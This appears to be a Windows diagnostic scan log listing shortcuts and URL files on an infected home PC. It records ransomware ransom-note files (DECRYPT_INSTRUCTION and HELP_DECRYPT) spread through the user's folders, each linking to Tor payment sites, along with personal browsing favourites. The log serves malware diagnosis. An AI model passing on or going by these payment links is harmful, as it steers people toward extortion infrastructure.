Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Disk Cleanup.lnk -> C:\Windows\System32\cleanmgr.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\System Information.lnk -> C:\Windows\System32\msinfo32.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\System Restore.lnk -> C:\Windows\System32\rstrui.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Windows Easy Transfer Reports.lnk -> C:\Windows\System32\migwiz\PostMig.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Windows Easy Transfer.lnk -> C:\Windows\System32\migwiz\migwiz.exe (Microsoft Corporation)
Shortcut: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Command Prompt.lnk -> C:\Windows\System32\cmd.exe (Microsoft Corporation)
Shortcut: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Notepad.lnk -> C:\Windows\System32\notepad.exe (Microsoft Corporation)
Shortcut: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Windows Explorer.lnk -> C:\Windows\explorer.exe (Microsoft Corporation)
Shortcut: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Private Character Editor.lnk -> C:\Windows\System32\eudcedit.exe (Microsoft Corporation)
Shortcut: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Magnify.lnk -> C:\Windows\System32\Magnify.exe (Microsoft Corporation)
Shortcut: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Narrator.lnk -> C:\Windows\System32\Narrator.exe (Microsoft Corporation)
Shortcut: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\On-Screen Keyboard.lnk -> C:\Windows\System32\osk.exe (Microsoft Corporation)
Shortcut: C:\Users\Public\Desktop\Adobe Reader XI.lnk -> C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe (Adobe Systems Incorporated)
Shortcut: C:\Users\Public\Desktop\Belkin Wireless Utility.lnk -> C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe (Belkin)
Shortcut: C:\Users\Public\Desktop\Full Tilt Poker.lnk -> D:\fulltilt\FullTiltPoker.exe ()
Shortcut: C:\Users\Public\Desktop\Grand Parker Casino.lnk -> C:\Program Files\Grand Parker Casino\casino.exe (Realtime Gaming, Inc)
Shortcut: C:\Users\Public\Desktop\Graphic Equalizer Studio 2015.lnk -> D:\graphic eq\Eq32Studio.exe ()
Shortcut: C:\Users\Public\Desktop\Hoyle Card Games 2011.lnk -> D:\Hoyle Card Games 2011\Hoyle Card Games.exe ()
Shortcut: C:\Users\Public\Desktop\iTunes.lnk -> D:\iTunes\iTunes.exe (Apple Inc.)
Shortcut: C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk -> D:\Malwarebytes Anti-Malware\mbam.exe (Malwarebytes Corporation)
Shortcut: C:\Users\Public\Desktop\Mozilla Firefox.lnk -> C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation)
Shortcut: C:\Users\Tim\Links\Desktop.lnk -> C:\Users\Tim\Desktop ()
Shortcut: C:\Users\Tim\Links\Downloads.lnk -> C:\Users\Tim\Downloads ()
Shortcut: C:\Users\Tim\Desktop\BitTorrent.lnk -> C:\Users\Tim\AppData\Roaming\BitTorrent\BitTorrent.exe (BitTorrent Inc.)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\BitTorrent.lnk -> C:\Users\Tim\AppData\Roaming\BitTorrent\BitTorrent.exe (BitTorrent Inc.)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Command Prompt.lnk -> C:\Windows\System32\cmd.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Notepad.lnk -> C:\Windows\System32\notepad.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Windows Explorer.lnk -> C:\Windows\explorer.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Private Character Editor.lnk -> C:\Windows\System32\eudcedit.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Magnify.lnk -> C:\Windows\System32\Magnify.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Narrator.lnk -> C:\Windows\System32\Narrator.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\On-Screen Keyboard.lnk -> C:\Windows\System32\osk.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\BitTorrent.lnk -> C:\Users\Tim\AppData\Roaming\BitTorrent\BitTorrent.exe (BitTorrent Inc.)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk -> C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Windows Explorer.lnk -> C:\Windows\explorer.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\7e4dca80246863e3\pinned.lnk -> C:\Windows\System32\control.exe (Microsoft Corporation)

ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Default Programs.lnk -> C:\Windows\System32\control.exe (Microsoft Corporation) -> /name Microsoft.DefaultPrograms
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Windows Update.lnk -> C:\Windows\System32\wuapp.exe (Microsoft Corporation) -> startmenu
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Sidebar.lnk -> C:\Program Files\Windows Sidebar\sidebar.exe (Microsoft Corporation) -> /showgadgets
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Media Player.lnk -> C:\Program Files\Windows Media Player\wmplayer.exe (Microsoft Corporation) -> /prefetch:1
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wireless-B PCI Adapter\Uninstall.lnk -> C:\Program Files\Linksys\Wireless-B PCI Adapter\RunU.exe () -> {5C6956F3-B586-4674-BCD0-CCF7EC1DF766}
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Belkin Wireless Utility.lnk -> C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe (Belkin) -> -T
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Backup and Restore Center.lnk -> C:\Windows\System32\control.exe (Microsoft Corporation) -> /name Microsoft.BackupAndRestore
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Hoyle®\Hoyle Card Games 2011\Buy other Hoyle products.lnk -> D:\Hoyle Card Games 2011\Try and Buy other Hoyle Products.URL () -> D:\Hoyle Card Games 2011\webicon.ico
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Belkin\Wireless Networking Utility\Uninstall Belkin Wireless Utility.lnk -> C:\Program Files\Common Files\InstallShield\Driver\8\Intel 32\IDriver.exe () -> /M{5314FAC0-F8A5-4432-8980-251D055B2C5B}
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Computer Management.lnk -> C:\Windows\System32\compmgmt.msc () -> /s
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Event Viewer.lnk -> C:\Windows\System32\eventvwr.msc () -> /s
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Performance Monitor.lnk -> C:\Windows\System32\perfmon.msc () -> /s
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Security Configuration Management.lnk -> C:\Windows\System32\secpol.msc () -> /s
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Task Scheduler.lnk -> C:\Windows\System32\taskschd.msc () -> /s
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Windows PowerShell Modules.lnk -> C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (Microsoft Corporation) -> -NoExit -ImportSystemModules
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Mobility Center.lnk -> C:\Windows\System32\mblctr.exe (Microsoft Corporation) -> /open
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Welcome Center.lnk -> C:\Windows\System32\rundll32.exe (Microsoft Corporation) -> %SystemRoot%\system32\OobeFldr.dll,ShowWelcomeCenter LaunchedBy_StartMenuShortcut
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Resource Monitor.lnk -> C:\Windows\System32\perfmon.exe (Microsoft Corporation) -> /res
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Task Scheduler.lnk -> C:\Windows\System32\taskschd.msc () -> /s
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Speech Recognition.lnk -> C:\Windows\Speech\Common\sapisvr.exe (Microsoft Corporation) -> -SpeechUX
ShortcutWithArgument: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Ease of Access.lnk -> C:\Windows\System32\control.exe (Microsoft Corporation) -> /name Microsoft.EaseOfAccessCenter
ShortcutWithArgument: C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\Fax Recipient.lnk -> C:\Windows\System32\WFS.exe (Microsoft Corporation) -> /SendTo
ShortcutWithArgument: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) -> -extoff
ShortcutWithArgument: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Ease of Access.lnk -> C:\Windows\System32\control.exe (Microsoft Corporation) -> /name Microsoft.EaseOfAccessCenter
ShortcutWithArgument: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\SendTo\Fax Recipient.lnk -> C:\Windows\System32\WFS.exe (Microsoft Corporation) -> /SendTo
ShortcutWithArgument: C:\Users\Tim\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Windows Media Player.lnk -> C:\Program Files\Windows Media Player\wmplayer.exe (Microsoft Corporation) -> /prefetch:1

InternetURL: C:\ProgramData\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\ProgramData\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\ProgramData\Microsoft\RAC\PublishedData\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\ProgramData\Apple Computer\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\ProgramData\Apple Computer\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\ProgramData\Apple Computer\iTunes\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\ProgramData\Apple Computer\iTunes\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\ProgramData\Apple Computer\iTunes\SC Info\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\ProgramData\Apple Computer\iTunes\SC Info\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Pictures\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Pictures\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Various Artists\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Various Artists\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Various Artists\I Asked for Whisky\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Various Artists\I Asked for Whisky\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Unknown artist\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Unknown artist\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 8-32-19 PM)\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 8-32-19 PM)\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 8-28-29 PM)\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 8-28-29 PM)\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-50-21 PM)\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-50-21 PM)\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-43-51 PM)\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-43-51 PM)\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-39-59 PM)\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-39-59 PM)\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Unknown artist\otis redding\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Unknown artist\otis redding\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\The Allman Brothers Band\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\The Allman Brothers Band\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\The Allman Brothers Band\A Decade of Hits 1969-1979\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\The Allman Brothers Band\A Decade of Hits 1969-1979\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Pantera\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Pantera\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Pantera\Cowboys From Hell\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Pantera\Cowboys From Hell\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Ozzy Osbourne\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Ozzy Osbourne\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Ozzy Osbourne\No More Tears\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Ozzy Osbourne\No More Tears\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Otis Redding\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Otis Redding\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Otis Redding\otis redding\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Otis Redding\otis redding\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Muddy Waters\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Muddy Waters\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Muddy Waters\Blues Legend [Golden Stars] Disc 3\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Muddy Waters\Blues Legend [Golden Stars] Disc 3\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Muddy Waters\Blues Legend [Golden Stars] Disc 2\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Muddy Waters\Blues Legend [Golden Stars] Disc 2\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Kiss\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Kiss\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Kiss\Creatures of the Night\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Kiss\Creatures of the Night\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Jonny Lang\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Jonny Lang\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Jonny Lang\Lie to Me\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Jonny Lang\Lie to Me\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\iTunes\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\iTunes\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\iTunes\iTunes Media\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\iTunes\iTunes Media\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\iTunes\iTunes Media\Music\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\iTunes\iTunes Media\Music\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\iTunes\iTunes Media\Music\Unknown Artist\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\iTunes\iTunes Media\Music\Unknown Artist\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\iTunes\iTunes Media\Music\Unknown Artist\Unknown Album\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\iTunes\iTunes Media\Music\Unknown Artist\Unknown Album\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\iTunes\iTunes Media\Music\The Allman Brothers Band\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\iTunes\iTunes Media\Music\The Allman Brothers Band\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\iTunes\iTunes Media\Music\The Allman Brothers Band\A Decade of Hits 1969-1979\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\iTunes\iTunes Media\Music\The Allman Brothers Band\A Decade of Hits 1969-1979\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Grateful Dead\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Grateful Dead\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Grateful Dead\In the Dark\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Grateful Dead\In the Dark\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Buddy Guy - Junior Wells\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Buddy Guy - Junior Wells\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Music\Buddy Guy - Junior Wells\Play the Blues\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Music\Buddy Guy - Junior Wells\Play the Blues\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Favorites\Cancer - Zodiac Sign in Astrology.url -> hxxp://www.cafeastrology.com/zodiaccancer.html
InternetURL: C:\Users\Tim\Favorites\Chicken with Sun-Dried Tomato Cream Sauce Recipe Epicurious.com.url -> hxxp://www.epicurious.com/recipes/food/views/Chicken-with-Sun-Dried-Tomato-Cream-Sauce-107198
InternetURL: C:\Users\Tim\Favorites\doc Frequently Asked Questions (FAQ).url -> hxxp://www.ct.gov/doc/cwp/view.asp?a=1492&q=265472&docNav=

InternetURL: C:\Users\Tim\Favorites\Funny T-Shirts Funny T Shirt Slogans Hilarious Tees For Men.url -> hxxp://www.foulmouthshirts.com/funny-t-shirts/index.html
InternetURL: C:\Users\Tim\Favorites\Humility Quotes - BrainyQuote.url -> hxxp://www.brainyquote.com/quotes/keywords/humility.html
InternetURL: C:\Users\Tim\Favorites\Insulation - Contractor Talk - Professional Construction and Remodeling Forum.url -> hxxp://www.contractortalk.com/f80/
InternetURL: C:\Users\Tim\Favorites\OldGlory.com.url -> hxxp://oldglory.com/lp/category?c=CL_112&c2=GA_100
InternetURL: C:\Users\Tim\Favorites\Sticca Pool - CBSSports.com.url -> hxxp://sticca.football.cbssports.com/
InternetURL: C:\Users\Tim\Favorites\Ten Words That Shape Your Reality - YouTube.url -> hxxp://www.youtube.com/watch?v=fo78gb4EZ6Y
InternetURL: C:\Users\Tim\Favorites\Thanks for your order - PayPal.url -> https://www.paypal.com/us/cgi-bin/w...737ba21b081982546798d23b9808f2b0faaf533a5dbe5
InternetURL: C:\Users\Tim\Favorites\The Food Lab How To Make The Best Fajitas Serious Eats.url -> hxxp://www.seriouseats.com/2013/06/the-food-lab-how-to-make-best-fajitas.html
InternetURL: C:\Users\Tim\Favorites\U.S. Department of Labor - Wage and Hour Division (WHD) - Fact Sheet.url -> hxxp://www.dol.gov/whd/regs/compliance/whdfs24.htm
InternetURL: C:\Users\Tim\Favorites\work to home.url -> hxxp://www.mapquest.com/
InternetURL: C:\Users\Tim\Favorites\Windows Live\Get Windows Live.url -> hxxp://go.microsoft.com/fwlink/?LinkId=69172
InternetURL: C:\Users\Tim\Favorites\Windows Live\Windows Live Gallery.url -> hxxp://go.microsoft.com/fwlink/?LinkId=70742
InternetURL: C:\Users\Tim\Favorites\Windows Live\Windows Live Mail.url -> hxxp://go.microsoft.com/fwlink/?LinkId=68925
InternetURL: C:\Users\Tim\Favorites\Windows Live\Windows Live Spaces.url -> hxxp://go.microsoft.com/fwlink/?LinkId=68927
InternetURL: C:\Users\Tim\Favorites\MSN Websites\MSN Autos.url -> hxxp://go.microsoft.com/fwlink/?LinkId=55143
InternetURL: C:\Users\Tim\Favorites\MSN Websites\MSN Entertainment.url -> hxxp://go.microsoft.com/fwlink/?LinkId=68924
InternetURL: C:\Users\Tim\Favorites\MSN Websites\MSN Money.url -> hxxp://go.microsoft.com/fwlink/?LinkId=68923
InternetURL: C:\Users\Tim\Favorites\MSN Websites\MSN Sports.url -> hxxp://go.microsoft.com/fwlink/?LinkId=68921
InternetURL: C:\Users\Tim\Favorites\MSN Websites\MSN.url -> hxxp://go.microsoft.com/fwlink/?LinkId=54729
InternetURL: C:\Users\Tim\Favorites\MSN Websites\MSNBC News.url -> hxxp://go.microsoft.com/fwlink/?LinkId=68922
InternetURL: C:\Users\Tim\Favorites\Microsoft Websites\IE Add-on site.url -> hxxp://go.microsoft.com/fwlink/?LinkId=50893
